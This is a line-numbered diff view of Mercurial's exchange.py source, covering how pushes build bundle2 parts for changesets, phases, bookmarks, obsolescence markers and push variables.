935 b2partsgenmapping = {}
934
936
935
937
936 def b2partsgenerator(stepname, idx=None):
938 def b2partsgenerator(stepname, idx=None):
937 """decorator for function generating bundle2 part
939 """decorator for function generating bundle2 part
938
940
939 The function is added to the step -> function mapping and appended to the
941 The function is added to the step -> function mapping and appended to the
940 list of steps. Beware that decorated functions will be added in order
942 list of steps. Beware that decorated functions will be added in order
941 (this may matter).
943 (this may matter).
942
944
943 You can only use this decorator for new steps, if you want to wrap a step
945 You can only use this decorator for new steps, if you want to wrap a step
944 from an extension, attack the b2partsgenmapping dictionary directly."""
946 from an extension, attack the b2partsgenmapping dictionary directly."""
945
947
946 def dec(func):
948 def dec(func):
947 assert stepname not in b2partsgenmapping
949 assert stepname not in b2partsgenmapping
948 b2partsgenmapping[stepname] = func
950 b2partsgenmapping[stepname] = func
949 if idx is None:
951 if idx is None:
950 b2partsgenorder.append(stepname)
952 b2partsgenorder.append(stepname)
951 else:
953 else:
952 b2partsgenorder.insert(idx, stepname)
954 b2partsgenorder.insert(idx, stepname)
953 return func
955 return func
954
956
955 return dec
957 return dec
956
958
957
959
958 def _pushb2ctxcheckheads(pushop, bundler):
960 def _pushb2ctxcheckheads(pushop, bundler):
959 """Generate race condition checking parts
961 """Generate race condition checking parts
960
962
961 Exists as an independent function to aid extensions
963 Exists as an independent function to aid extensions
962 """
964 """
963 # * 'force' do not check for push race,
965 # * 'force' do not check for push race,
964 # * if we don't push anything, there are nothing to check.
966 # * if we don't push anything, there are nothing to check.
965 if not pushop.force and pushop.outgoing.missingheads:
967 if not pushop.force and pushop.outgoing.missingheads:
966 allowunrelated = b'related' in bundler.capabilities.get(
968 allowunrelated = b'related' in bundler.capabilities.get(
967 b'checkheads', ()
969 b'checkheads', ()
968 )
970 )
969 emptyremote = pushop.pushbranchmap is None
971 emptyremote = pushop.pushbranchmap is None
970 if not allowunrelated or emptyremote:
972 if not allowunrelated or emptyremote:
971 bundler.newpart(b'check:heads', data=iter(pushop.remoteheads))
973 bundler.newpart(b'check:heads', data=iter(pushop.remoteheads))
972 else:
974 else:
973 affected = set()
975 affected = set()
974 for branch, heads in pycompat.iteritems(pushop.pushbranchmap):
976 for branch, heads in pycompat.iteritems(pushop.pushbranchmap):
975 remoteheads, newheads, unsyncedheads, discardedheads = heads
977 remoteheads, newheads, unsyncedheads, discardedheads = heads
976 if remoteheads is not None:
978 if remoteheads is not None:
977 remote = set(remoteheads)
979 remote = set(remoteheads)
978 affected |= set(discardedheads) & remote
980 affected |= set(discardedheads) & remote
979 affected |= remote - set(newheads)
981 affected |= remote - set(newheads)
980 if affected:
982 if affected:
981 data = iter(sorted(affected))
983 data = iter(sorted(affected))
982 bundler.newpart(b'check:updated-heads', data=data)
984 bundler.newpart(b'check:updated-heads', data=data)
983
985
984
986
985 def _pushing(pushop):
987 def _pushing(pushop):
986 """return True if we are pushing anything"""
988 """return True if we are pushing anything"""
987 return bool(
989 return bool(
988 pushop.outgoing.missing
990 pushop.outgoing.missing
989 or pushop.outdatedphases
991 or pushop.outdatedphases
990 or pushop.outobsmarkers
992 or pushop.outobsmarkers
991 or pushop.outbookmarks
993 or pushop.outbookmarks
992 )
994 )
993
995
994
996
995 @b2partsgenerator(b'check-bookmarks')
997 @b2partsgenerator(b'check-bookmarks')
996 def _pushb2checkbookmarks(pushop, bundler):
998 def _pushb2checkbookmarks(pushop, bundler):
997 """insert bookmark move checking"""
999 """insert bookmark move checking"""
998 if not _pushing(pushop) or pushop.force:
1000 if not _pushing(pushop) or pushop.force:
999 return
1001 return
1000 b2caps = bundle2.bundle2caps(pushop.remote)
1002 b2caps = bundle2.bundle2caps(pushop.remote)
1001 hasbookmarkcheck = b'bookmarks' in b2caps
1003 hasbookmarkcheck = b'bookmarks' in b2caps
1002 if not (pushop.outbookmarks and hasbookmarkcheck):
1004 if not (pushop.outbookmarks and hasbookmarkcheck):
1003 return
1005 return
1004 data = []
1006 data = []
1005 for book, old, new in pushop.outbookmarks:
1007 for book, old, new in pushop.outbookmarks:
1006 data.append((book, old))
1008 data.append((book, old))
1007 checkdata = bookmod.binaryencode(data)
1009 checkdata = bookmod.binaryencode(data)
1008 bundler.newpart(b'check:bookmarks', data=checkdata)
1010 bundler.newpart(b'check:bookmarks', data=checkdata)
1009
1011
1010
1012
1011 @b2partsgenerator(b'check-phases')
1013 @b2partsgenerator(b'check-phases')
1012 def _pushb2checkphases(pushop, bundler):
1014 def _pushb2checkphases(pushop, bundler):
1013 """insert phase move checking"""
1015 """insert phase move checking"""
1014 if not _pushing(pushop) or pushop.force:
1016 if not _pushing(pushop) or pushop.force:
1015 return
1017 return
1016 b2caps = bundle2.bundle2caps(pushop.remote)
1018 b2caps = bundle2.bundle2caps(pushop.remote)
1017 hasphaseheads = b'heads' in b2caps.get(b'phases', ())
1019 hasphaseheads = b'heads' in b2caps.get(b'phases', ())
1018 if pushop.remotephases is not None and hasphaseheads:
1020 if pushop.remotephases is not None and hasphaseheads:
1019 # check that the remote phase has not changed
1021 # check that the remote phase has not changed
1020 checks = [[] for p in phases.allphases]
1022 checks = [[] for p in phases.allphases]
1021 checks[phases.public].extend(pushop.remotephases.publicheads)
1023 checks[phases.public].extend(pushop.remotephases.publicheads)
1022 checks[phases.draft].extend(pushop.remotephases.draftroots)
1024 checks[phases.draft].extend(pushop.remotephases.draftroots)
1023 if any(checks):
1025 if any(checks):
1024 for nodes in checks:
1026 for nodes in checks:
1025 nodes.sort()
1027 nodes.sort()
1026 checkdata = phases.binaryencode(checks)
1028 checkdata = phases.binaryencode(checks)
1027 bundler.newpart(b'check:phases', data=checkdata)
1029 bundler.newpart(b'check:phases', data=checkdata)
1028
1030
1029
1031
1030 @b2partsgenerator(b'changeset')
1032 @b2partsgenerator(b'changeset')
1031 def _pushb2ctx(pushop, bundler):
1033 def _pushb2ctx(pushop, bundler):
1032 """handle changegroup push through bundle2
1034 """handle changegroup push through bundle2
1033
1035
1034 addchangegroup result is stored in the ``pushop.cgresult`` attribute.
1036 addchangegroup result is stored in the ``pushop.cgresult`` attribute.
1035 """
1037 """
1036 if b'changesets' in pushop.stepsdone:
1038 if b'changesets' in pushop.stepsdone:
1037 return
1039 return
1038 pushop.stepsdone.add(b'changesets')
1040 pushop.stepsdone.add(b'changesets')
1039 # Send known heads to the server for race detection.
1041 # Send known heads to the server for race detection.
1040 if not _pushcheckoutgoing(pushop):
1042 if not _pushcheckoutgoing(pushop):
1041 return
1043 return
1042 pushop.repo.prepushoutgoinghooks(pushop)
1044 pushop.repo.prepushoutgoinghooks(pushop)
1043
1045
1044 _pushb2ctxcheckheads(pushop, bundler)
1046 _pushb2ctxcheckheads(pushop, bundler)
1045
1047
1046 b2caps = bundle2.bundle2caps(pushop.remote)
1048 b2caps = bundle2.bundle2caps(pushop.remote)
1047 version = b'01'
1049 version = b'01'
1048 cgversions = b2caps.get(b'changegroup')
1050 cgversions = b2caps.get(b'changegroup')
1049 if cgversions: # 3.1 and 3.2 ship with an empty value
1051 if cgversions: # 3.1 and 3.2 ship with an empty value
1050 cgversions = [
1052 cgversions = [
1051 v
1053 v
1052 for v in cgversions
1054 for v in cgversions
1053 if v in changegroup.supportedoutgoingversions(pushop.repo)
1055 if v in changegroup.supportedoutgoingversions(pushop.repo)
1054 ]
1056 ]
1055 if not cgversions:
1057 if not cgversions:
1056 raise error.Abort(_(b'no common changegroup version'))
1058 raise error.Abort(_(b'no common changegroup version'))
1057 version = max(cgversions)
1059 version = max(cgversions)
1058 cgstream = changegroup.makestream(
1060 cgstream = changegroup.makestream(
1059 pushop.repo, pushop.outgoing, version, b'push'
1061 pushop.repo, pushop.outgoing, version, b'push'
1060 )
1062 )
1061 cgpart = bundler.newpart(b'changegroup', data=cgstream)
1063 cgpart = bundler.newpart(b'changegroup', data=cgstream)
1062 if cgversions:
1064 if cgversions:
1063 cgpart.addparam(b'version', version)
1065 cgpart.addparam(b'version', version)
1064 if b'treemanifest' in pushop.repo.requirements:
1066 if b'treemanifest' in pushop.repo.requirements:
1065 cgpart.addparam(b'treemanifest', b'1')
1067 cgpart.addparam(b'treemanifest', b'1')
1066 if b'exp-sidedata-flag' in pushop.repo.requirements:
1068 if b'exp-sidedata-flag' in pushop.repo.requirements:
1067 cgpart.addparam(b'exp-sidedata', b'1')
1069 cgpart.addparam(b'exp-sidedata', b'1')
1068
1070
1069 def handlereply(op):
1071 def handlereply(op):
1070 """extract addchangegroup returns from server reply"""
1072 """extract addchangegroup returns from server reply"""
1071 cgreplies = op.records.getreplies(cgpart.id)
1073 cgreplies = op.records.getreplies(cgpart.id)
1072 assert len(cgreplies[b'changegroup']) == 1
1074 assert len(cgreplies[b'changegroup']) == 1
1073 pushop.cgresult = cgreplies[b'changegroup'][0][b'return']
1075 pushop.cgresult = cgreplies[b'changegroup'][0][b'return']
1074
1076
1075 return handlereply
1077 return handlereply
1076
1078
1077
1079
1078 @b2partsgenerator(b'phase')
1080 @b2partsgenerator(b'phase')
1079 def _pushb2phases(pushop, bundler):
1081 def _pushb2phases(pushop, bundler):
1080 """handle phase push through bundle2"""
1082 """handle phase push through bundle2"""
1081 if b'phases' in pushop.stepsdone:
1083 if b'phases' in pushop.stepsdone:
1082 return
1084 return
1083 b2caps = bundle2.bundle2caps(pushop.remote)
1085 b2caps = bundle2.bundle2caps(pushop.remote)
1084 ui = pushop.repo.ui
1086 ui = pushop.repo.ui
1085
1087
1086 legacyphase = b'phases' in ui.configlist(b'devel', b'legacy.exchange')
1088 legacyphase = b'phases' in ui.configlist(b'devel', b'legacy.exchange')
1087 haspushkey = b'pushkey' in b2caps
1089 haspushkey = b'pushkey' in b2caps
1088 hasphaseheads = b'heads' in b2caps.get(b'phases', ())
1090 hasphaseheads = b'heads' in b2caps.get(b'phases', ())
1089
1091
1090 if hasphaseheads and not legacyphase:
1092 if hasphaseheads and not legacyphase:
1091 return _pushb2phaseheads(pushop, bundler)
1093 return _pushb2phaseheads(pushop, bundler)
1092 elif haspushkey:
1094 elif haspushkey:
1093 return _pushb2phasespushkey(pushop, bundler)
1095 return _pushb2phasespushkey(pushop, bundler)
1094
1096
1095
1097
1096 def _pushb2phaseheads(pushop, bundler):
1098 def _pushb2phaseheads(pushop, bundler):
1097 """push phase information through a bundle2 - binary part"""
1099 """push phase information through a bundle2 - binary part"""
1098 pushop.stepsdone.add(b'phases')
1100 pushop.stepsdone.add(b'phases')
1099 if pushop.outdatedphases:
1101 if pushop.outdatedphases:
1100 updates = [[] for p in phases.allphases]
1102 updates = [[] for p in phases.allphases]
1101 updates[0].extend(h.node() for h in pushop.outdatedphases)
1103 updates[0].extend(h.node() for h in pushop.outdatedphases)
1102 phasedata = phases.binaryencode(updates)
1104 phasedata = phases.binaryencode(updates)
1103 bundler.newpart(b'phase-heads', data=phasedata)
1105 bundler.newpart(b'phase-heads', data=phasedata)
1104
1106
1105
1107
1106 def _pushb2phasespushkey(pushop, bundler):
1108 def _pushb2phasespushkey(pushop, bundler):
1107 """push phase information through a bundle2 - pushkey part"""
1109 """push phase information through a bundle2 - pushkey part"""
1108 pushop.stepsdone.add(b'phases')
1110 pushop.stepsdone.add(b'phases')
1109 part2node = []
1111 part2node = []
1110
1112
1111 def handlefailure(pushop, exc):
1113 def handlefailure(pushop, exc):
1112 targetid = int(exc.partid)
1114 targetid = int(exc.partid)
1113 for partid, node in part2node:
1115 for partid, node in part2node:
1114 if partid == targetid:
1116 if partid == targetid:
1115 raise error.Abort(_(b'updating %s to public failed') % node)
1117 raise error.Abort(_(b'updating %s to public failed') % node)
1116
1118
1117 enc = pushkey.encode
1119 enc = pushkey.encode
1118 for newremotehead in pushop.outdatedphases:
1120 for newremotehead in pushop.outdatedphases:
1119 part = bundler.newpart(b'pushkey')
1121 part = bundler.newpart(b'pushkey')
1120 part.addparam(b'namespace', enc(b'phases'))
1122 part.addparam(b'namespace', enc(b'phases'))
1121 part.addparam(b'key', enc(newremotehead.hex()))
1123 part.addparam(b'key', enc(newremotehead.hex()))
1122 part.addparam(b'old', enc(b'%d' % phases.draft))
1124 part.addparam(b'old', enc(b'%d' % phases.draft))
1123 part.addparam(b'new', enc(b'%d' % phases.public))
1125 part.addparam(b'new', enc(b'%d' % phases.public))
1124 part2node.append((part.id, newremotehead))
1126 part2node.append((part.id, newremotehead))
1125 pushop.pkfailcb[part.id] = handlefailure
1127 pushop.pkfailcb[part.id] = handlefailure
1126
1128
1127 def handlereply(op):
1129 def handlereply(op):
1128 for partid, node in part2node:
1130 for partid, node in part2node:
1129 partrep = op.records.getreplies(partid)
1131 partrep = op.records.getreplies(partid)
1130 results = partrep[b'pushkey']
1132 results = partrep[b'pushkey']
1131 assert len(results) <= 1
1133 assert len(results) <= 1
1132 msg = None
1134 msg = None
1133 if not results:
1135 if not results:
1134 msg = _(b'server ignored update of %s to public!\n') % node
1136 msg = _(b'server ignored update of %s to public!\n') % node
1135 elif not int(results[0][b'return']):
1137 elif not int(results[0][b'return']):
1136 msg = _(b'updating %s to public failed!\n') % node
1138 msg = _(b'updating %s to public failed!\n') % node
1137 if msg is not None:
1139 if msg is not None:
1138 pushop.ui.warn(msg)
1140 pushop.ui.warn(msg)
1139
1141
1140 return handlereply
1142 return handlereply
1141
1143
1142
1144
1143 @b2partsgenerator(b'obsmarkers')
1145 @b2partsgenerator(b'obsmarkers')
1144 def _pushb2obsmarkers(pushop, bundler):
1146 def _pushb2obsmarkers(pushop, bundler):
1145 if b'obsmarkers' in pushop.stepsdone:
1147 if b'obsmarkers' in pushop.stepsdone:
1146 return
1148 return
1147 remoteversions = bundle2.obsmarkersversion(bundler.capabilities)
1149 remoteversions = bundle2.obsmarkersversion(bundler.capabilities)
1148 if obsolete.commonversion(remoteversions) is None:
1150 if obsolete.commonversion(remoteversions) is None:
1149 return
1151 return
1150 pushop.stepsdone.add(b'obsmarkers')
1152 pushop.stepsdone.add(b'obsmarkers')
1151 if pushop.outobsmarkers:
1153 if pushop.outobsmarkers:
1152 markers = obsutil.sortedmarkers(pushop.outobsmarkers)
1154 markers = obsutil.sortedmarkers(pushop.outobsmarkers)
1153 bundle2.buildobsmarkerspart(bundler, markers)
1155 bundle2.buildobsmarkerspart(bundler, markers)
1154
1156
1155
1157
1156 @b2partsgenerator(b'bookmarks')
1158 @b2partsgenerator(b'bookmarks')
1157 def _pushb2bookmarks(pushop, bundler):
1159 def _pushb2bookmarks(pushop, bundler):
1158 """handle bookmark push through bundle2"""
1160 """handle bookmark push through bundle2"""
1159 if b'bookmarks' in pushop.stepsdone:
1161 if b'bookmarks' in pushop.stepsdone:
1160 return
1162 return
1161 b2caps = bundle2.bundle2caps(pushop.remote)
1163 b2caps = bundle2.bundle2caps(pushop.remote)
1162
1164
1163 legacy = pushop.repo.ui.configlist(b'devel', b'legacy.exchange')
1165 legacy = pushop.repo.ui.configlist(b'devel', b'legacy.exchange')
1164 legacybooks = b'bookmarks' in legacy
1166 legacybooks = b'bookmarks' in legacy
1165
1167
1166 if not legacybooks and b'bookmarks' in b2caps:
1168 if not legacybooks and b'bookmarks' in b2caps:
1167 return _pushb2bookmarkspart(pushop, bundler)
1169 return _pushb2bookmarkspart(pushop, bundler)
1168 elif b'pushkey' in b2caps:
1170 elif b'pushkey' in b2caps:
1169 return _pushb2bookmarkspushkey(pushop, bundler)
1171 return _pushb2bookmarkspushkey(pushop, bundler)
1170
1172
1171
1173
1172 def _bmaction(old, new):
1174 def _bmaction(old, new):
1173 """small utility for bookmark pushing"""
1175 """small utility for bookmark pushing"""
1174 if not old:
1176 if not old:
1175 return b'export'
1177 return b'export'
1176 elif not new:
1178 elif not new:
1177 return b'delete'
1179 return b'delete'
1178 return b'update'
1180 return b'update'
1179
1181
1180
1182
1181 def _abortonsecretctx(pushop, node, b):
1183 def _abortonsecretctx(pushop, node, b):
1182 """abort if a given bookmark points to a secret changeset"""
1184 """abort if a given bookmark points to a secret changeset"""
1183 if node and pushop.repo[node].phase() == phases.secret:
1185 if node and pushop.repo[node].phase() == phases.secret:
1184 raise error.Abort(
1186 raise error.Abort(
1185 _(b'cannot push bookmark %s as it points to a secret changeset') % b
1187 _(b'cannot push bookmark %s as it points to a secret changeset') % b
1186 )
1188 )
1187
1189
1188
1190
1189 def _pushb2bookmarkspart(pushop, bundler):
1191 def _pushb2bookmarkspart(pushop, bundler):
1190 pushop.stepsdone.add(b'bookmarks')
1192 pushop.stepsdone.add(b'bookmarks')
1191 if not pushop.outbookmarks:
1193 if not pushop.outbookmarks:
1192 return
1194 return
1193
1195
1194 allactions = []
1196 allactions = []
1195 data = []
1197 data = []
1196 for book, old, new in pushop.outbookmarks:
1198 for book, old, new in pushop.outbookmarks:
1197 _abortonsecretctx(pushop, new, book)
1199 _abortonsecretctx(pushop, new, book)
1198 data.append((book, new))
1200 data.append((book, new))
1199 allactions.append((book, _bmaction(old, new)))
1201 allactions.append((book, _bmaction(old, new)))
1200 checkdata = bookmod.binaryencode(data)
1202 checkdata = bookmod.binaryencode(data)
1201 bundler.newpart(b'bookmarks', data=checkdata)
1203 bundler.newpart(b'bookmarks', data=checkdata)
1202
1204
1203 def handlereply(op):
1205 def handlereply(op):
1204 ui = pushop.ui
1206 ui = pushop.ui
1205 # if success
1207 # if success
1206 for book, action in allactions:
1208 for book, action in allactions:
1207 ui.status(bookmsgmap[action][0] % book)
1209 ui.status(bookmsgmap[action][0] % book)
1208
1210
1209 return handlereply
1211 return handlereply
1210
1212
1211
1213
1212 def _pushb2bookmarkspushkey(pushop, bundler):
1214 def _pushb2bookmarkspushkey(pushop, bundler):
1213 pushop.stepsdone.add(b'bookmarks')
1215 pushop.stepsdone.add(b'bookmarks')
1214 part2book = []
1216 part2book = []
1215 enc = pushkey.encode
1217 enc = pushkey.encode
1216
1218
1217 def handlefailure(pushop, exc):
1219 def handlefailure(pushop, exc):
1218 targetid = int(exc.partid)
1220 targetid = int(exc.partid)
1219 for partid, book, action in part2book:
1221 for partid, book, action in part2book:
1220 if partid == targetid:
1222 if partid == targetid:
1221 raise error.Abort(bookmsgmap[action][1].rstrip() % book)
1223 raise error.Abort(bookmsgmap[action][1].rstrip() % book)
1222 # we should not be called for part we did not generated
1224 # we should not be called for part we did not generated
1223 assert False
1225 assert False
1224
1226
1225 for book, old, new in pushop.outbookmarks:
1227 for book, old, new in pushop.outbookmarks:
1226 _abortonsecretctx(pushop, new, book)
1228 _abortonsecretctx(pushop, new, book)
1227 part = bundler.newpart(b'pushkey')
1229 part = bundler.newpart(b'pushkey')
1228 part.addparam(b'namespace', enc(b'bookmarks'))
1230 part.addparam(b'namespace', enc(b'bookmarks'))
1229 part.addparam(b'key', enc(book))
1231 part.addparam(b'key', enc(book))
1230 part.addparam(b'old', enc(hex(old)))
1232 part.addparam(b'old', enc(hex(old)))
1231 part.addparam(b'new', enc(hex(new)))
1233 part.addparam(b'new', enc(hex(new)))
1232 action = b'update'
1234 action = b'update'
1233 if not old:
1235 if not old:
1234 action = b'export'
1236 action = b'export'
1235 elif not new:
1237 elif not new:
1236 action = b'delete'
1238 action = b'delete'
1237 part2book.append((part.id, book, action))
1239 part2book.append((part.id, book, action))
1238 pushop.pkfailcb[part.id] = handlefailure
1240 pushop.pkfailcb[part.id] = handlefailure
1239
1241
1240 def handlereply(op):
1242 def handlereply(op):
1241 ui = pushop.ui
1243 ui = pushop.ui
1242 for partid, book, action in part2book:
1244 for partid, book, action in part2book:
1243 partrep = op.records.getreplies(partid)
1245 partrep = op.records.getreplies(partid)
1244 results = partrep[b'pushkey']
1246 results = partrep[b'pushkey']
1245 assert len(results) <= 1
1247 assert len(results) <= 1
1246 if not results:
1248 if not results:
1247 pushop.ui.warn(_(b'server ignored bookmark %s update\n') % book)
1249 pushop.ui.warn(_(b'server ignored bookmark %s update\n') % book)
1248 else:
1250 else:
1249 ret = int(results[0][b'return'])
1251 ret = int(results[0][b'return'])
1250 if ret:
1252 if ret:
1251 ui.status(bookmsgmap[action][0] % book)
1253 ui.status(bookmsgmap[action][0] % book)
1252 else:
1254 else:
1253 ui.warn(bookmsgmap[action][1] % book)
1255 ui.warn(bookmsgmap[action][1] % book)
1254 if pushop.bkresult is not None:
1256 if pushop.bkresult is not None:
1255 pushop.bkresult = 1
1257 pushop.bkresult = 1
1256
1258
1257 return handlereply
1259 return handlereply
1258
1260
1259
1261
1260 @b2partsgenerator(b'pushvars', idx=0)
1262 @b2partsgenerator(b'pushvars', idx=0)
1261 def _getbundlesendvars(pushop, bundler):
1263 def _getbundlesendvars(pushop, bundler):
1262 '''send shellvars via bundle2'''
1264 '''send shellvars via bundle2'''
1263 pushvars = pushop.pushvars
1265 pushvars = pushop.pushvars
1264 if pushvars:
1266 if pushvars:
1265 shellvars = {}
1267 shellvars = {}
1266 for raw in pushvars:
1268 for raw in pushvars:
1267 if b'=' not in raw:
1269 if b'=' not in raw:
1268 msg = (
1270 msg = (
1269 b"unable to parse variable '%s', should follow "
1271 b"unable to parse variable '%s', should follow "
1270 b"'KEY=VALUE' or 'KEY=' format"
1272 b"'KEY=VALUE' or 'KEY=' format"
1271 )
1273 )
1272 raise error.Abort(msg % raw)
1274 raise error.Abort(msg % raw)
1273 k, v = raw.split(b'=', 1)
1275 k, v = raw.split(b'=', 1)
1274 shellvars[k] = v
1276 shellvars[k] = v
1275
1277
1276 part = bundler.newpart(b'pushvars')
1278 part = bundler.newpart(b'pushvars')
1277
1279
1278 for key, value in pycompat.iteritems(shellvars):
1280 for key, value in pycompat.iteritems(shellvars):
1279 part.addparam(key, value, mandatory=False)
1281 part.addparam(key, value, mandatory=False)
1280
1282
1281
1283
1282 def _pushbundle2(pushop):
1284 def _pushbundle2(pushop):
1283 """push data to the remote using bundle2
1285 """push data to the remote using bundle2
1284
1286
1285 The only currently supported type of data is changegroup but this will
1287 The only currently supported type of data is changegroup but this will
1286 evolve in the future."""
1288 evolve in the future."""
1287 bundler = bundle2.bundle20(pushop.ui, bundle2.bundle2caps(pushop.remote))
1289 bundler = bundle2.bundle20(pushop.ui, bundle2.bundle2caps(pushop.remote))
1288 pushback = pushop.trmanager and pushop.ui.configbool(
1290 pushback = pushop.trmanager and pushop.ui.configbool(
1289 b'experimental', b'bundle2.pushback'
1291 b'experimental', b'bundle2.pushback'
1290 )
1292 )
1291
1293
1292 # create reply capability
1294 # create reply capability
1293 capsblob = bundle2.encodecaps(
1295 capsblob = bundle2.encodecaps(
1294 bundle2.getrepocaps(pushop.repo, allowpushback=pushback, role=b'client')
1296 bundle2.getrepocaps(pushop.repo, allowpushback=pushback, role=b'client')
1295 )
1297 )
1296 bundler.newpart(b'replycaps', data=capsblob)
1298 bundler.newpart(b'replycaps', data=capsblob)
1297 replyhandlers = []
1299 replyhandlers = []
1298 for partgenname in b2partsgenorder:
1300 for partgenname in b2partsgenorder:
1299 partgen = b2partsgenmapping[partgenname]
1301 partgen = b2partsgenmapping[partgenname]
1300 ret = partgen(pushop, bundler)
1302 ret = partgen(pushop, bundler)
1301 if callable(ret):
1303 if callable(ret):
1302 replyhandlers.append(ret)
1304 replyhandlers.append(ret)
1303 # do not push if nothing to push
1305 # do not push if nothing to push
1304 if bundler.nbparts <= 1:
1306 if bundler.nbparts <= 1:
1305 return
1307 return
1306 stream = util.chunkbuffer(bundler.getchunks())
1308 stream = util.chunkbuffer(bundler.getchunks())
1307 try:
1309 try:
1308 try:
1310 try:
1309 with pushop.remote.commandexecutor() as e:
1311 with pushop.remote.commandexecutor() as e:
1310 reply = e.callcommand(
1312 reply = e.callcommand(
1311 b'unbundle',
1313 b'unbundle',
1312 {
1314 {
1313 b'bundle': stream,
1315 b'bundle': stream,
1314 b'heads': [b'force'],
1316 b'heads': [b'force'],
1315 b'url': pushop.remote.url(),
1317 b'url': pushop.remote.url(),
1316 },
1318 },
1317 ).result()
1319 ).result()
1318 except error.BundleValueError as exc:
1320 except error.BundleValueError as exc:
1319 raise error.Abort(_(b'missing support for %s') % exc)
1321 raise error.Abort(_(b'missing support for %s') % exc)
1320 try:
1322 try:
1321 trgetter = None
1323 trgetter = None
1322 if pushback:
1324 if pushback:
1323 trgetter = pushop.trmanager.transaction
1325 trgetter = pushop.trmanager.transaction
1324 op = bundle2.processbundle(pushop.repo, reply, trgetter)
1326 op = bundle2.processbundle(pushop.repo, reply, trgetter)
1325 except error.BundleValueError as exc:
1327 except error.BundleValueError as exc:
1326 raise error.Abort(_(b'missing support for %s') % exc)
1328 raise error.Abort(_(b'missing support for %s') % exc)
1327 except bundle2.AbortFromPart as exc:
1329 except bundle2.AbortFromPart as exc:
1328 pushop.ui.status(_(b'remote: %s\n') % exc)
1330 pushop.ui.status(_(b'remote: %s\n') % exc)
1329 if exc.hint is not None:
1331 if exc.hint is not None:
1330 pushop.ui.status(_(b'remote: %s\n') % (b'(%s)' % exc.hint))
1332 pushop.ui.status(_(b'remote: %s\n') % (b'(%s)' % exc.hint))
1331 raise error.Abort(_(b'push failed on remote'))
1333 raise error.Abort(_(b'push failed on remote'))
1332 except error.PushkeyFailed as exc:
1334 except error.PushkeyFailed as exc:
1333 partid = int(exc.partid)
1335 partid = int(exc.partid)
1334 if partid not in pushop.pkfailcb:
1336 if partid not in pushop.pkfailcb:
1335 raise
1337 raise
1336 pushop.pkfailcb[partid](pushop, exc)
1338 pushop.pkfailcb[partid](pushop, exc)
1337 for rephand in replyhandlers:
1339 for rephand in replyhandlers:
1338 rephand(op)
1340 rephand(op)
1339
1341
1340
1342
1341 def _pushchangeset(pushop):
1343 def _pushchangeset(pushop):
1342 """Make the actual push of changeset bundle to remote repo"""
1344 """Make the actual push of changeset bundle to remote repo"""
1343 if b'changesets' in pushop.stepsdone:
1345 if b'changesets' in pushop.stepsdone:
1344 return
1346 return
1345 pushop.stepsdone.add(b'changesets')
1347 pushop.stepsdone.add(b'changesets')
1346 if not _pushcheckoutgoing(pushop):
1348 if not _pushcheckoutgoing(pushop):
1347 return
1349 return
1348
1350
1349 # Should have verified this in push().
1351 # Should have verified this in push().
1350 assert pushop.remote.capable(b'unbundle')
1352 assert pushop.remote.capable(b'unbundle')
1351
1353
1352 pushop.repo.prepushoutgoinghooks(pushop)
1354 pushop.repo.prepushoutgoinghooks(pushop)
1353 outgoing = pushop.outgoing
1355 outgoing = pushop.outgoing
1354 # TODO: get bundlecaps from remote
1356 # TODO: get bundlecaps from remote
1355 bundlecaps = None
1357 bundlecaps = None
1356 # create a changegroup from local
1358 # create a changegroup from local
1357 if pushop.revs is None and not (
1359 if pushop.revs is None and not (
1358 outgoing.excluded or pushop.repo.changelog.filteredrevs
1360 outgoing.excluded or pushop.repo.changelog.filteredrevs
1359 ):
1361 ):
1360 # push everything,
1362 # push everything,
1361 # use the fast path, no race possible on push
1363 # use the fast path, no race possible on push
1362 cg = changegroup.makechangegroup(
1364 cg = changegroup.makechangegroup(
1363 pushop.repo,
1365 pushop.repo,
1364 outgoing,
1366 outgoing,
1365 b'01',
1367 b'01',
1366 b'push',
1368 b'push',
1367 fastpath=True,
1369 fastpath=True,
1368 bundlecaps=bundlecaps,
1370 bundlecaps=bundlecaps,
1369 )
1371 )
1370 else:
1372 else:
1371 cg = changegroup.makechangegroup(
1373 cg = changegroup.makechangegroup(
1372 pushop.repo, outgoing, b'01', b'push', bundlecaps=bundlecaps
1374 pushop.repo, outgoing, b'01', b'push', bundlecaps=bundlecaps
1373 )
1375 )
1374
1376
1375 # apply changegroup to remote
1377 # apply changegroup to remote
1376 # local repo finds heads on server, finds out what
1378 # local repo finds heads on server, finds out what
1377 # revs it must push. once revs transferred, if server
1379 # revs it must push. once revs transferred, if server
1378 # finds it has different heads (someone else won
1380 # finds it has different heads (someone else won
1379 # commit/push race), server aborts.
1381 # commit/push race), server aborts.
1380 if pushop.force:
1382 if pushop.force:
1381 remoteheads = [b'force']
1383 remoteheads = [b'force']
1382 else:
1384 else:
1383 remoteheads = pushop.remoteheads
1385 remoteheads = pushop.remoteheads
1384 # ssh: return remote's addchangegroup()
1386 # ssh: return remote's addchangegroup()
1385 # http: return remote's addchangegroup() or 0 for error
1387 # http: return remote's addchangegroup() or 0 for error
1386 pushop.cgresult = pushop.remote.unbundle(cg, remoteheads, pushop.repo.url())
1388 pushop.cgresult = pushop.remote.unbundle(cg, remoteheads, pushop.repo.url())
1387
1389
1388
1390
1389 def _pushsyncphase(pushop):
1391 def _pushsyncphase(pushop):
1390 """synchronise phase information locally and remotely"""
1392 """synchronise phase information locally and remotely"""
1391 cheads = pushop.commonheads
1393 cheads = pushop.commonheads
1392 # even when we don't push, exchanging phase data is useful
1394 # even when we don't push, exchanging phase data is useful
1393 remotephases = listkeys(pushop.remote, b'phases')
1395 remotephases = listkeys(pushop.remote, b'phases')
1394 if (
1396 if (
1395 pushop.ui.configbool(b'ui', b'_usedassubrepo')
1397 pushop.ui.configbool(b'ui', b'_usedassubrepo')
1396 and remotephases # server supports phases
1398 and remotephases # server supports phases
1397 and pushop.cgresult is None # nothing was pushed
1399 and pushop.cgresult is None # nothing was pushed
1398 and remotephases.get(b'publishing', False)
1400 and remotephases.get(b'publishing', False)
1399 ):
1401 ):
1400 # When:
1402 # When:
1401 # - this is a subrepo push
1403 # - this is a subrepo push
1402 # - and remote support phase
1404 # - and remote support phase
1403 # - and no changeset was pushed
1405 # - and no changeset was pushed
1404 # - and remote is publishing
1406 # - and remote is publishing
1405 # We may be in issue 3871 case!
1407 # We may be in issue 3871 case!
1406 # We drop the possible phase synchronisation done by
1408 # We drop the possible phase synchronisation done by
1407 # courtesy to publish changesets possibly locally draft
1409 # courtesy to publish changesets possibly locally draft
1408 # on the remote.
1410 # on the remote.
1409 remotephases = {b'publishing': b'True'}
1411 remotephases = {b'publishing': b'True'}
1410 if not remotephases: # old server or public only reply from non-publishing
